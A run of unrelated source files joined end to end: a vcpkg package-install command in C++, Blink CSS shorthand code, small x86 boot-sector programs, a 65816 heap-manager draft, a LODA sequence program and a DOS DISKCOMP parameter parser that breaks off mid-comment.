action_plan.remove_actions) { // This should not technically be needed, however ensuring that all specs to be removed are not included in // `specs_installed` acts as a sanity check specs_installed.erase(action.spec); } Util::erase_remove_if(action_plan.install_actions, [&](const Dependencies::InstallPlanAction& ipa) { return Util::Sets::contains(specs_installed, ipa.spec); }); Dependencies::print_plan(action_plan, true, paths.builtin_ports_directory()); if (auto p_pkgsconfig = maybe_pkgsconfig.get()) { Build::compute_all_abis(paths, action_plan, cmake_vars, status_db); auto& fs = paths.get_filesystem(); auto pkgsconfig_path = paths.original_cwd / *p_pkgsconfig; auto pkgsconfig_contents = generate_nuget_packages_config(action_plan); fs.write_contents(pkgsconfig_path, pkgsconfig_contents, VCPKG_LINE_INFO); print2("Wrote NuGet packages config information to ", pkgsconfig_path, "\n"); } if (dry_run == DryRun::Yes) { Checks::exit_success(VCPKG_LINE_INFO); } paths.flush_lockfile(); Install::track_install_plan(action_plan); const auto summary = Install::perform(args, action_plan, Install::KeepGoing::NO, paths, status_db, binary_cache, Build::null_build_logs_recorder(), cmake_vars); print2("\nTotal elapsed time: ", LockGuardPtr<ElapsedTimer>(GlobalState::timer)->to_string(), "\n\n"); std::set<std::string> printed_usages; for (auto&& ur_spec : user_requested_specs) { auto it = status_db.find_installed(ur_spec); if (it != status_db.end()) { Install::print_usage_information(it->get()->package, printed_usages, paths); } } Checks::exit_success(VCPKG_LINE_INFO); } void perform_and_exit(const VcpkgCmdArguments& args, const VcpkgPaths& paths, Triplet default_triplet, Triplet host_triplet, Optional<bin2sth::CompileTriplet>&& default_compile_triplet) { // input sanitization const ParsedArguments options = args.parse_arguments(COMMAND_STRUCTURE); const std::vector<FullPackageSpec> specs = Util::fmap(args.command_arguments, [&](auto&& arg) { return Input::check_and_get_full_package_spec( std::string(arg), default_triplet, default_compile_triplet, COMMAND_STRUCTURE.example_text); }); for (auto&& spec : specs) { Input::check_triplet(spec.package_spec.triplet(), paths); } BinaryCache binary_cache{args}; const bool dry_run = Util::Sets::contains(options.switches, OPTION_DRY_RUN); PortFileProvider::PathsPortFileProvider provider(paths, args.overlay_ports); auto cmake_vars = CMakeVars::make_triplet_cmake_var_provider(paths); Optional<Path> pkgsconfig; auto it_pkgsconfig = options.settings.find(OPTION_WRITE_PACKAGES_CONFIG); if (it_pkgsconfig != options.settings.end()) { LockGuardPtr<Metrics>(g_metrics)->track_property("x-write-nuget-packages-config", "defined"); pkgsconfig = it_pkgsconfig->second; } // We have a set of user-requested specs. // We need to know all the specs which are required to fulfill dependencies for those specs. // Therefore, we see what we would install into an empty installed tree, so we can use the existing code. auto action_plan = Dependencies::create_feature_install_plan(provider, *cmake_vars, specs, {}, {host_triplet}); for (auto&& action : action_plan.install_actions) { action.build_options = Build::default_build_package_options; } perform_and_exit_ex(args, paths, provider, binary_cache, *cmake_vars, std::move(action_plan), dry_run ? DryRun::Yes : DryRun::No, pkgsconfig, host_triplet); } void SetInstalledCommand::perform_and_exit(const VcpkgCmdArguments& args, const VcpkgPaths& paths, Triplet default_triplet, Triplet host_triplet, Optional<bin2sth::CompileTriplet>&& default_compile_triplet) const { SetInstalled::perform_and_exit(args, paths, default_triplet, host_triplet, std::move(default_compile_triplet)); } }
/* * (C) 1999-2003 Lars Knoll (knoll@kde.org) * Copyright (C) 2004, 2005, 2006, 2007, 2008 Apple Inc. All rights reserved. * Copyright (C) 2013 Intel Corporation. All rights reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. */ #include "gen/sky/core/StylePropertyShorthand.h" namespace blink { const StylePropertyShorthand& borderShorthandForParsing() { static const CSSPropertyID borderShorthandProperties[] = { CSSPropertyBorderWidth, CSSPropertyBorderStyle, CSSPropertyBorderColor }; static const StylePropertyShorthand* propertiesForInitialization[] = { &borderWidthShorthand(), &borderStyleShorthand(), &borderColorShorthand(), }; DEFINE_STATIC_LOCAL(StylePropertyShorthand, borderForParsingLonghands, (CSSPropertyBorder, borderShorthandProperties, propertiesForInitialization, WTF_ARRAY_LENGTH(borderShorthandProperties))); return borderForParsingLonghands; } // Returns an empty list if the property is not a shorthand, otherwise the list of longhands for parsing. const StylePropertyShorthand& parsingShorthandForProperty(CSSPropertyID propertyID) { switch (propertyID) { case CSSPropertyBorder: return borderShorthandForParsing(); default: return shorthandForProperty(propertyID); } } bool isExpandedShorthand(CSSPropertyID id) { // The system fonts bypass the normal style resolution by using RenderTheme, // thus we need to special case it here. FIXME: This is a violation of CSS 3 Fonts // as we should still be able to change the longhands. // DON'T ADD ANY SHORTHAND HERE UNLESS IT ISN'T ALWAYS EXPANDED AT PARSE TIME (which is wrong). if (id == CSSPropertyFont) return false; return shorthandForProperty(id).length(); } bool isExpandedShorthandForAll(CSSPropertyID propertyId) { // FIXME: isExpandedShorthand says "font" is not an expanded shorthand, // but font is expanded to font-family, font-size, and so on. // StylePropertySerializer::asText should not generate css text like // "font: initial; font-family: initial;...". To avoid this, we need to // treat "font" as an expanded shorthand. // And while applying "all" property, we cannot apply "font" property // directly. This causes ASSERT crash, because StyleBuilder assume that // all given properties are not expanded shorthands. // "marker" has the same issue. if (propertyId == CSSPropertyFont) return true; return shorthandForProperty(propertyId).length(); } unsigned indexOfShorthandForLonghand(CSSPropertyID shorthandID, const Vector<StylePropertyShorthand, 4>& shorthands) { for (unsigned i = 0; i < shorthands.size(); ++i) { if (shorthands.at(i).id() == shorthandID) return i; } ASSERT_NOT_REACHED(); return 0; } } // namespace blink
#include "functions.h" int factorial(int n){ if(n!=1){ return(n * factorial(n-1)); } else return 1; }
; This was a start at implementation a Heap Management Sybsystem based on the ; heam code that is in https://github.com/pweingar/BASIC816 ; The best way to understand something is to tear it down and rebuild it from ; the ground up... I thought this was too complicated for what it does and I had ; an epiphany last night and thought of an easier way: ; ; There should be a single doubly linked list of the allocated and unallocated ; blocks and it should start out with a single block of all of the unallocated ; space. This means that there will always be at least 1 block in the list and ; only one list to search. When an unallocated block that has enough space to ; allocate for a new block is found, it will be split (unless it is exactly ; the same as the requested size) into 2 blocks, a new unallocated block and ; the new requested allocated block. Have not decided if I will split left or ; right; meaning will the new allocated block be higher in memory (to the right) ; or lower in memory (to the left). Not sure if it matters. I am leaning to the ; right because that will always leave unallocated space as the 1st in the list ; and allow for a scratch pad area at HEAP_START + SIZEOF(HEAP_BLOCK_HEADER). ; ; When a block is allocated it will have a reference count of 1 indicating that ; it is in use. When a block is freed the reference count will be decremented ; and if the reference count becomes 0 it will be considered unallocated. If a ; newly unallocated block is next to another unallocated block they will be ; merged at that time. 1st we will check right and merge and then left and merge. ; ; Need to draw this up with some scenarios to fully flesh out the operations in ; my mind but I think the logic will be much easier since there are less cases to ; deal with as there are less lists and we don't have to worry about running out ; of heap space as it will be tracked by the initial large unallocated block. ; ; I also think that this could support heap space that is non-contiguous and also ; heap space that could be in multiple pages. It would be up to the HEAP_INIT ; function to create the list of blocks with the unallocated spaces in a list, ; but once that is done we are only splitting unallocated blocks and if they are ; in different parts of the memory map, the routines would not care as it only ; has to work with splitting and mergingg of the blocks and the blocks would take ; care of what the allowed memory would be. ;;; ========================================================================= ;;; My Heap Management Code ;;; ========================================================================= ; .byte 8 bits ; .word 16 bits ; .long 24 bits ; .dword 32 bits ; HEAP_PAGE = $3F HEAP_PAGE_START = $3F0000 HEAP_PAGE_END = $3FFFFF * = $002000 ; Set the origin for the file .INCLUDE "../Common/PGX.asm" .INCLUDE "../Common/Macros.asm" .INCLUDE "../Common/Kernel.asm" START: CALL SETUP RTL .INCLUDE "../Common/Common.asm" FILE_ERROR:.NULL "File load error", 13 ; =========================================================================== ; Heap Unit Tests ; =========================================================================== ; =========================================================================== ; Heap Subsystem ; =========================================================================== HEAP_BLOCK_HEADER .struct PREV_BLOCK_HEADER .word ? NEXT_BLOCK_HEADER .word ? REFERENCE_COUNT .word ? BLOCK_SIZE .word ? .ends * = HEAP_PAGE_START HEAP_HEADER_STRUCT HEAP_START .word ? HEAP_END .word ? HEAP_FIRST_BLOCK .word ? ; Parameters to Heap Subsystem BLOCK_SIZE_REQUESTED .word ? CURRENT_BLOCK_HEADER .long ? CURRENT_BLOCK_DATA .long ? HEAP_INIT: .proc PUSH_S_AND_DP SETDP #HEAP_PAGE_START ; Set HEAP_START and HEAP_END SETAXL STZ HEAP_HEADER.HEAP_START LDA #$FFFF STA HEAP_HEADER.HEAP_END ; Create 1st unallocated block at HEAP_START + SIZEOF(HEAP_HEADER) LDA HEAP_HEADER.HEAP_START CLC ADC #SIZEOF(HEAP_HEADER) STA HEAP_HEADER.HEAP_FIRST_BLOCK LDA #0 LDX #HEAP_BLOCK_HEADER.PREV_BLOCK_HEADER STA HEAP_FIRST_BLOCK, X LDX #HEAP_BLOCK_HEADER.NEXT_BLOCK_HEADER STA HEAP_FIRST_BLOCK, X LDX #HEAP_BLOCK_HEADER.REFERENCE_COUNT STA HEAP_FIRST_BLOCK, X LDX #HEAP_BLOCK_HEADER.BLOCK_SIZE SEC ; Set the Carry because it is the reverse borrow flag... LDA HEAP_HEADER.HEAP_END SBC HEAP_HEADER.HEAP_FIRST_BLOCK CLC ADC #SIZEOF(HEAP_BLOCK_HEADER) STA HEAP_FIRST_BLOCK, X ; Set Out Parameters LDA HEAP_HEADER.HEAP_FIRST_BLOCK STA HEAP_HEADER.CURRENT_BLOCK_HEADER CLC ADC #SIZEOF(HEAP_BLOCK_HEADER) STA HEAP_HEADER.CURRENT_BLOCK_DATA PULL_DP_AND_S RETURN .pend HEAP_ALLOC: .proc .pend HEAP_FREE: .proc .pend HEAP_MERGE: .proc .pend
bits 16 org 0x7c00 jmp main Message db "Hello, world!", 0x0A, 0x0 main: mov dx, 0x0 mov si, Message loopString: mov al, [si] ; Test 0 value test al, al jz exitString inc si ; Print the character (Since we don't have BIOS or something, just export ; the number to port 0) out dx, al jmp loopString exitString: cli hlt
jmp near start text db 'L',0x07,'a',0x07,'b',0x07,'e',0x07,'l',0x07,' ',0x07,'o',0x07,\ 'f',0x07,'f',0x07,'s',0x07,'e',0x07,'t',0x07,':',0x07 start: mov ax, 0x07c0 mov ds, ax mov ax, 0xb800 mov es, ax cld ;将Direction Flag设置为0,表示从低地址到高地址 mov si, text ;si指向text指向的内存地址 mov di, 0 ;设置输出的起始地址 mov cx, 13 ;设置要显示的字符个数 rep movsw ;将text中的字符复制到屏幕的第0行的第0列开始的位置 jmp short $ times 510 - ($ - $$) db 0 dw 0xAA55
; A319842: a(n) = 8 * A104720(n) + ceiling(n/2). ; Submitted by Christian Krause ; 8,89,897,8978,89786,897867,8978675,89786756,897867564,8978675645,89786756453,897867564534,8978675645342,89786756453423,897867564534231,8978675645342312,89786756453423120,897867564534231201,8978675645342312009,89786756453423120090,897867564534231200898,8978675645342312008979,89786756453423120089787,897867564534231200897868,8978675645342312008978676,89786756453423120089786757,897867564534231200897867565,8978675645342312008978675646,89786756453423120089786756454,897867564534231200897867564535 add $0,1 mov $2,1 lpb $0 mov $3,$0 mul $0,4 sub $0,1 div $0,4 mod $3,2 mul $3,3 sub $3,1 mul $3,$2 add $1,$3 mul $2,10 add $2,1 lpe sub $2,$1 mov $0,$2 sub $0,1
PAGE 90,132 ;AN000;A2 TITLE DCOMPPAR.SAL - LOOK AT COMMAND LINE PARMS ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ;****************** START OF SPECIFICATIONS ***************************** ; MODULE NAME: DCOMPPAR.SAL ; DESCRIPTIVE NAME: Handle the definition of the DOS command line parameters ; and the interface to the DOS system PARSER. ;FUNCTION: The static data areas are prescribed by the DOS system PARSER ; to define the several parameters presented to DISKCOMP. These ; data areas are passed to the PARSER, and its responses checked ; to determine the nature of the user's specifications. Any errors ; found in the user's parameters are defined in messages back ; to the user. ; ENTRY POINT: PARSER, near ; INPUT: (DOS COMMAND LINE PARAMETERS) ; [d:][path] DISKCOMP [d: [d:]] [/1] [/8] ; WHERE ; [d:][path] - Path where the DISKCOMP command resides. ; [d:] - To specify the Source drive ; ; [d:] - To specify the Target drive ; ; [/1] - To compare only the first side of the diskette, ; regardless of the diskette or drive type. ; [/8] - To compare only the first 8 sectors per track, ; even if the first diskette contains 9/15 sectors ; per track. ; ; Upon entry to PARSER in this module, ; "CURRENT_PARM" = offset to start of parm text in command string ; "ORDINAL" = initialized to zero ; PSP+81H = text of DOS command line parms string ; EXIT-NORMAL: ; "SOURCE_DRIVE" = CHAR OF FIRST DRIVE ID SPECIFIED, BLANK IF NONE ; "TARGET_DRIVE" = CHAR OF SECOND DRIVE ID IF BOTH SPECIFIED, BLANK ; IF NONE OR ONLY ONE SPECIFIED ; "USER_OPTION" = 01 ON IF /1, -1 IF /1 NOT SPECIFIED. ; "USER_OPTION_8" = 01 ON IF /8, -1 IF /8 NOT SPECIFIED. ; EXIT-ERROR: ; IF ERROR, ERROR MESSAGE IS DISPLAYED, AND "EXITFL" HAS "EXPAR". ; INTERNAL REFERENCES: ; ROUTINES: ; PARSER:NEAR Call the system Parser to decode command line ; PARSE_ERROR:NEAR Display the appropriate Parse error message. ; DATA AREAS: ; The several parameter control blocks, defined by the System ; PARSER interface, defining the DISKCOMP parameters. ; EXTERNAL REFERENCES: ; ROUTINES: ; SENDMSG:NEAR Uses Msg Descriptor to drive message handler. ; SYSPARSE:NEAR System Command Line Common Parser. ; DATA AREAS: ; EXITFL:BYTE Errorlevel return code. ; MSGNUM_PARSE:WORD Message descriptor for all parse errors. ; USER_OPTION:BYTE /1 parm indicator ; USER_OPTION_8:BYTE /8 parm indicator ; SOURCE_DRIVE:BYTE character of first specified drive ; TARGET_DRIVE:BYTE character of second specified drive ; NOTES: ; This module should be processed with the SALUT preprocessor ; with the re-alignment not requested, as: ; SALUT DCOMPPAR,NUL ; To assemble these modules, the alphabetical or sequential ; ordering of segments may be used. ; For LINK instructions, refer to the PROLOG of the main module, ; DISKCOMP.SAL. ;****************** END OF SPECIFICATIONS ***************************** IF1 ;AN000; %OUT COMPONENT=DISKCOMP, MODULE=DCOMPPAR.SAL... ;AN000; ENDIF ;AN000; INCLUDE PATHMAC.INC ;AN013; INCLUDE DCMPMACR.INC ; = = = = = = = = = = = = HEADER MACRO TEXT ;;AN000; .XLIST ;AN000; SUBTTL TEXT ;AN000; .LIST ;AN000; PAGE ;;AN000; ENDM ;;AN000; ; = = = = = = = = = = = = ; $SALUT (4,23,28,36) ;AN000; CHAR_A EQU "A" ;AN000;ASCII VALUE OF CHARACTER "A" NUL EQU 0 ;AN003;ASCIIZ STRING DELIMITER ; EXIT CODES FROM SYSPARSE (WHEN CY=0) SYSPRM_EX_OK EQU 0 ;AN000; no error SYSPRM_EX_MANY EQU 1 ;AN000; too many operands SYSPRM_EX_MISSING EQU 2 ;AN000; required operand missing SYSPRM_EX_NOT_SWLIST EQU 3 ;AN000; not in switch list provided SYSPRM_EX_NOT_KEYLIST EQU 4 ;AN000; not in keyword list provided SYSPRM_EX_RANGE EQU 6 ;AN000; out of range specified SYSPRM_EX_VALUE EQU 7 ;AN000; not in value list provided SYSPRM_EX_STRING EQU 8 ;AN000; not in string list provided SYSPRM_EX_SYNTAX EQU 9 ;AN000; syntax error SYSPRM_EX_EOL EQU -1 ;AN000; end of command line ; = = = = = = = = = = = = HEADER <STRUC - DEFINITIONS OF EXTERNAL CONTROL BLOCKS> ;AN000; PSP STRUC ;AN000; DB 80H DUP (?) ;AN000;SKIP OVER FIRST HALF OF PSP PSP_PARMLEN DB ? ;AN000;NUMBER OF BYTES IN DOS COMMAND LINE PSP_COMMAND DB 127 DUP(?) ;AN000;TEXT OF DOS COMMAND LINE PSP ENDS ;AN000; MSG_DESC STRUC ;AN003; MSG_NUM DW ? ;AN003;MESSAGE NUMBER (TO AX) MSG_HANDLE DW ? ;AN003;HANDLE OF OUTPUT DEVICE (TO BX) MSG_SUBLIST DW ? ;AN003;POINTER TO SUBLIST (TO SI) MSG_COUNT DW ? ;AN003;SUBSTITUTION COUNT (TO CX) MSG_CLASS DW ? ;AN003;MESSAGE CLASS (IN HIGH BYTE, TO DH) ; LOW BYTE HAS 0 (FUNCTION "NO INPUT", TO DL);AN003; MSG_DESC ENDS ;AN003; ONE_SUBS EQU 1 ;AN003;NUMBER OF VARIABLES SUBLIST STRUC ;AN000; SUB_SIZE DB ? ;AN003;SUBLIST SIZE (POINTER TO NEXT SUBLIST) SUB_RES DB ? ;AN003;RESERVED ;NEXT FIELD IS TO BE USED AS A DOUBLE WORD ;AN003; SUB_VALUE DW ? ;AN003;TIME, DATE, OR PTR TO DATA ITEM SUB_VALUE_SEG DW ? ;AN003;SEG ID OF PTR ;(ABOVE FIELD MUST BE FILLED AT EXECUTION TIME ;AN003; ; IF THIS IS A .COM FILE) ;AN003; SUB_ID DB ? ;AN003;N OF %N SUB_FLAGS DB ? ;AN003;DATA TYPE FLAGS SUB_MAX_WIDTH DB ? ;AN003;MAXIMUM FIELD WIDTH (0=UNLIMITED) SUB_MIN_WIDTH DB ? ;AN003;MINIMUM FIELD WIDTH SUB_PAD_CHAR DB ? ;AN003;CHARACTER FOR PAD FIELD ; CAN BE " ", "0" OR ",". ;AN003; ; "," CAUSES INSERTION OF THE ACTIVE ;AN003; ; THOUSANDS SEPARATOR BETWEEN EVERY 3 DIGITS. ;AN003; SUBLIST ENDS ;AN003; ; = = = = = = = = = = = = HEADER <PARSING WORKAREAS> ;AN000; ; $SALUT (4,14,19,36) ;AN000; EXTRN EXPAR:ABS ;AN000;ERRORLEVEL VALUE FOR BAD PARMS EXTRN FINE:ABS ;AN000;RETURN STATUS INDICATOR EXTRN MSGNUM_OPTIONS : BYTE EXTRN MSG_OPTIONS_FIRST: ABS EXTRN MSG_OPTIONS_LAST: ABS BLANK EQU " " ;AN002;WIPE OUT SWITCH TO AVOID DUPLICATE CSEG SEGMENT PARA PUBLIC 'CODE' ;AN000; ASSUME CS:CSEG,DS:CSEG,ES:CSEG,SS:CSEG ;AN000; EXTRN SENDMSG:NEAR ;AN000;USES MSG DESCRIPTOR TO DRIVE MESSAGE HANDLR EXTRN SYSPARSE:NEAR ;AN000;SYSTEM COMMAND LINE PARSER EXTRN EXITFL:BYTE ;AN000;ERRORLEVEL RETURN CODE EXTRN SOURCE_DRIVE:BYTE ;AN000;FIRST DRIVE LETTER SPECIFIED IN PARMS EXTRN USER_OPTION:BYTE ;AN000;NO OPTION (-1) /1 (1), INVALID (9) NO_OPTION EQU -1 ;AN000;OPTION NOT SPECIFIED OPTION_1 EQU 1 ;AN000;OPTION "/1" SPECIFIED OPTION_8 EQU 1 ;AN000;OPTION "/8" SPECIFIED EXTRN USER_OPTION_8:BYTE ;AN000;NO OPTION (-1) /8 (1), INVALID (9) EXTRN MSGNUM_PARSE:WORD ;AN000;MESSAGE DESCRIPTOR FOR ALL PARSE ERRORS EXTRN MSGNUM_INVALID_PARM2:WORD ;AN005;HELP MESSAGE DESCRIPTOR EXTRN SUBLIST_PARSE:WORD ;AN003;POINTS TO INVALID PARM ; = = = = = = = = = = = = CURRENT_PARM DW 81H ;AN000;POINTER INTO COMMAND OF NEXT OPERAND PUBLIC CURRENT_PARM ;AN000; ORDINAL DW 0 ;AN000;ORDINAL NUMBER OF WHICH PARM TO PARSE PUBLIC ORDINAL ;AN000; ; = = = = = = = = = = = = HEADER <DOS COMMAND LINE PARSER CONTROL BLOCKS> ;AN000; ;INPUT PARAMETERS CONTROL BLOCK, POINTED TO BY ES:DI WHEN CALLING PARSER PUBLIC PARMS ;AN000;LET LINK MAKE PARMS BLOCK ADDRESSABLE PARMS LABEL BYTE ;AN000;PARMS CONTROL BLOCK DW PARMSX ;AN000;POINTER TO PARMS EXTENSION DB 0 ;AN000; NUMBER OF STRINGS (0, 1, 2) ; NEXT LIST WOULD BE EXTRA DELIM LIST ; (,& WHITESPACE ALWAYS) ; NEXT LIST WOULD BE EXTRA END OF LINE LIST ; (CR,LF,0 ALWAYS) ;SYSTEM PARSER PARAMETER EXTENSION CONTROL BLOCK PARMSX LABEL BYTE ;AN000;PARMS EXTENSION CONTROL BLOCK DB 0,2 ;AN000; MIN, MAX POSITIONAL OPERANDS ALLOWED DW CONTROL_POS ;AN000; DESCRIPTION OF POSITIONAL 1 DW CONTROL_POS ;AN000; DESCRIPTION OF POSITIONAL 2 DB 1 ;AN000; MAX SWITCH OPERANDS ALLOWED DW CONTROL_SW ;AN000; DESCRIPTION OF SWITCH DB 0 ;AN000; MAX KEYWORD OPERANDS ALLOWED ; THERE IS NO CONTROL BLOCK ; DEFINING KEYWORDS ; = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = HEADER <POSITIONAL PARM DESCRIPTOR BLOCK> ;AN000; ;PARSER CONTROL BLOCK DEFINING THE ONLY POSITIONAL PARAMETER, OPTIONAL ;FIRST POSITIONAL PARAMETER IS: ; [D:] - SPECIFY THE SOURCE DRIVE. PUBLIC CONTROL_POS ;AN000;LET LINK MAKE THIS ADDRESSABLE CONTROL_POS LABEL BYTE ;AN000;FIRST POSITIONAL DESCRIPTOR FOR FILESPEC, ; OPTIONAL DW 0101H ;AN000; CONTROLS TYPE MATCHED ; SELECTED BITS: "DRIVE ONLY" AND "OPTIONAL" ; 8000H=NUMERIC VALUE, (VALUE LIST WILL BE CHECKED) ; 4000H=SIGNED NUMERIC VALUE (VALUE LIST WILL BE ; CHECKED) ; 2000H=SIMPLE STRING(VALUE LIST WILL BE CHECKED) ; 1000H=DATE STRING (VALUE LIST WON'T BE CHECKED) ; 0800H=TIME STRING (VALUE LIST WON'T BE CHECKED) ; 0400H=COMPLEX LIST (VALUE LIST WON'T BE CHECKED) ; 0200H=FILE SPEC (VALUE LIST WON'T BE CHECKED) ; 0100H=DRIVE ONLY (VALUE LIST WON'T BE CHECKED) ; 0080H=QUOTED STRING (VALUE LIST WON'T BE CHECKED) ; 0010H=IGNORE ":" AT END IN MATCH ; 0002H=REPEATS ALLOWED ; 0001H=OPTIONAL DW 0000H ;AN000;FUNCTION_FLAGS (NO CAPITALIZATION NEEDED) ; 0001H=CAP RESULT BY FILE TABLE ; 0002H=CAP RESULT BY CHAR TABLE ; 0010H=REMOVE ":" AT END DW RESULT1 ;AN000; RESULT BUFFER DW NOVALS ;AN000; NO VALUE LISTS DB 0 ;AN000; NUMBER OF KEYWORD/SWITCH SYNONYMS ; IN FOLLOWING LIST ;VALUE CONTROL BLOCK FOR THE POSITIONAL PARAMETERS NOVALS DB 0 ;AN000;NO VALUE DEFINITIONS ;RESULTS CONTROL BLOCK FOR THE POSITIONAL PARAMETER RESULT1 LABEL BYTE ;AN000; BELOW FILLED IN FOR DEFAULTS DB 3 ;AN000; TYPE RETURNED: 0=RESERVED, ; 1=NUMBER, 2=LIST INDEX, ; 3=STRING, 4=COMPLEX, ; 5=FILESPEC, 6=DRIVE ; 7=DATE, 8=TIME ; 9=QUOTED STRING RESULT_TAG DB 0FFH ;AN000; MATCHED ITEM TAG DW 0 ;AN000;POINTER TO SYNONYM RESULT_PTR1 DB ? ;AN000;DRIVE NUMBER (A=1, B=2, ETC) ; = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = HEADER <SWITCH PARM DESCRIPTOR BLOCK> ;AN000; ;PARSER CONTROL BLOCK DEFINING THE TWO SWITCHES, OPTIONAL ;THE SWITCH IS "/1", MEANING ONLY COMPARE THE FIRST SIDE. ;THE SECOND SWITCH IS "/8", MEANING ONLY LOOK AT FIRST 8 SECTORS PER TRACK. PUBLIC CONTROL_SW ;AN000;LET LINK MAKE THIS ADDRESSABLE CONTROL_SW LABEL BYTE ;AN000;SWITCH DESCRIPTOR FOR /1 OR /8 DW 0000H ;AN000; CONTROLS TYPE MATCHED ; 8000H=NUMERIC VALUE, (VALUE LIST WILL BE CHECKED) ; 4000H=SIGNED NUMERIC VALUE (VALUE LIST WILL BE ; CHECKED) ; 2000H=SIMPLE STRING(VALUE LIST WILL BE CHECKED) ; 1000H=DATE STRING (VALUE LIST WON'T BE CHECKED) ; 0800H=TIME STRING (VALUE LIST WON'T BE CHECKED) ; 0400H=COMPLEX LIST (VALUE LIST WON'T BE CHECKED) ; 0200H=FILE SPEC (VALUE LIST WON'T BE CHECKED) ; 0100H=DRIVE ONLY (VALUE LIST WON'T BE CHECKED) ; 0080H=QUOTED STRING (VALUE LIST WON'T BE CHECKED) ; 0010H=IGNORE ":" AT END IN MATCH ; 0002H=REPEATS ALLOWED ; 0001H=OPTIONAL DW 0000H ;AN000;FUNCTION_FLAGS (NO CAPITALIZATION) ; 0001H=CAP RESULT BY FILE TABLE ; 0002H=CAP RESULT BY CHAR TABLE ; 0010H=REMOVE ":" AT END DW RESULTSW1 ;AN000; RESULT BUFFER DW NOVALS ;AN000; VALUE LISTS DB 3 ;AN000; NUMBER OF KEYWORD/SWITCH SYNONYMS ; IN FOLLOWING LIST SINGLE_SIDED LABEL BYTE ;AN002; SW_1 DB "/1",0 ;AN000; IF n >0, KEYWORD 1 SW_8 DB "/8",0 ;AN000;SECOND KEYWORD SW_? DB "/?",0 ; third switch PUBLIC Q_BREAK Q_BREAK DB 0 ; flag saying we broke out early due to ? ;RESULTS CONTROL BLOCK FOR THE SWITCHES RESULTSW1 LABEL BYTE ;AN000; BELOW FILLED IN FOR DEFAULTS DB 3 ;AN000; TYPE RETURNED: 0=RESERVED, ; 1=NUMBER, 2=LIST INDEX, ; 3=STRING, 4=COMPLEX, ; 5=FILESPEC, 6=DRIVE ; 7=DATE, 8=TIME ; 9=QUOTED STRING DB 0FFh ;AN000; MATCHED ITEM TAG RESULTSWSYN DW 0 ;AN000; SYNONYM POINTER (BASED ON ES:) RESULT_PTR2 DD ? ;AN000; OFFSET OF STRING VALUE ; = = = = = = = = = = = = PATHLABL DCOMPPAR ;AN013; HEADER <PARSER - ASK SYSPARM TO DECODE PARAMETERS> ;AN000; ; $SALUT (4,4,9,36) ;AN000; PARSER PROC NEAR ;AN000; PUBLIC PARSER ;AN000; ;INPUT: "CURRENT_PARM" = OFFSET TO NEXT PARM IN COMMAND STRING ; "ORDINAL" = COUNT OF NEXT PARM TO PARSE ; PSP+81H = TEXT OF DOS COMMAND LINE PARMS STRING ;OUTPUT: "SOURCE_DRIVE" = A=1, B=2, 0 IF NONE ; "TARGET_DRIVE" = A=1, B=2, 0 IF NONE ; "USER_OPTION" = 01 ON IF /1, -1 IF /1 NOT SPECIFIED. ; "USER_OPTION_8" = 01 ON IF /8, -1 IF /8 NOT SPECIFIED. ; IF ERROR, ERROR MESSAGE IS DISPLAYED, AND "EXITFL" HAS "EXPAR". ; = = = = = = = = = = = = MOV USER_OPTION,NO_OPTION ;AN000;SET DEFAULT, SWITCH NOT FOUND MOV USER_OPTION_8,NO_OPTION ;AN000;SET DEFAULT, SWITCH NOT FOUND JMP SHORT $$SS1 $$DO1: ;LOOKING AT RETURN CODE FROM SYSPARSE... ;AN000; CMP AX,SYSPRM_EX_OK ;AN000;WERE THERE ANY ERRORS? JE $$IF1 CALL PARSE_ERROR ;AN000;DISPLAY REASON FOR ERROR JMP $$SR1 $$IF1: MOV ORDINAL,CX ;AN000;SAVE UPDATED COUNT MOV CURRENT_PARM,SI ;AN000;REMEMBER HOW FAR I GOT MOV BX,DX ;AN000;SET DATA BASE REG TO POINT TO THIS OPERAND CMP BX,OFFSET RESULT1 ;AN000;WAS POSITIONAL PARM SPECIFIED? JNE $$IF4 MOV SI,CX ;AN000;USE COUNT OF POSITIONALS AS INDEX MOV AL,RESULT_PTR1 ;AN000;GET VALUE OF DRIVE (A=1, B=2, ETC) MOV SOURCE_DRIVE-1[SI],AL ;AN000;SAVE RESPONSE DRIVE VALUE ;IN EITHER SOURCE_DRIVE OR TARGET_DRIVE ;ACCORDING TO ORDINAL IN SI (FROM CX) ;AN000;SINCE NOT POSITIONAL PARM SPECIFIED JMP SHORT $$EN4 $$IF4: MOV AL,SW_?+BYTE MOV BX,RESULTSWSYN CMP [BX]+BYTE,AL JNE NXT CALL DISPLAY_OPTIONS ; display the options message lines MOV EXITFL,0 ; EXOK= 0 MOV Q_BREAK,1 ; set a flag for "begin" to check saying ; we broke out early because of a /? option MOV DX,FINE ; say that parsing went ok JMP $$SR1 NXT: MOV AL,SINGLE_SIDED+BYTE ;AN000;GET ID PORTION OF SWITCH MOV BX,RESULTSWSYN ;AN000;GET OFFSET TO MATCHING SWITCH CMP [BX]+BYTE,AL ;AN000;WAS IT /1? ;AN000;YES IT WAS /1 JNE $$IF6 MOV SW_1,BLANK ;AN002;AVOID GETTING /1 AGAIN MOV USER_OPTION,OPTION_1 ;AN000;MUST HAVE BEEN THE SWITCH, /1 ;AN000;SINCE IT WAS NOT /1, MUST BE /8 JMP SHORT $$EN6 $$IF6: MOV SW_8,BLANK ;AN002;AVOID GETTING /8 AGAIN MOV USER_OPTION_8,OPTION_8 ;AN000;REPORT BACK, IT WAS /8 $$EN6: $$EN4: $$SS1: LEA DI,PARMS ;AN000; ES:DI = PARSE CONTROL DEFINITON MOV SI,CURRENT_PARM ;AN000; DS:SI = COMMAND STRING, NEXT PARM XOR DX,DX ;AN000; RESERVED, INIT TO ZERO MOV CX,ORDINAL ;AN000; OPERAND ORDINAL, INITIALLY ZERO CALL SYSPARSE ;AN000;LOOK AT DOS PARMS ; AX=EXIT CODE ; BL=TERMINATED DELIMETER CODE ; CX=NEW OPERAND ORDINAL ; SI=SET TO 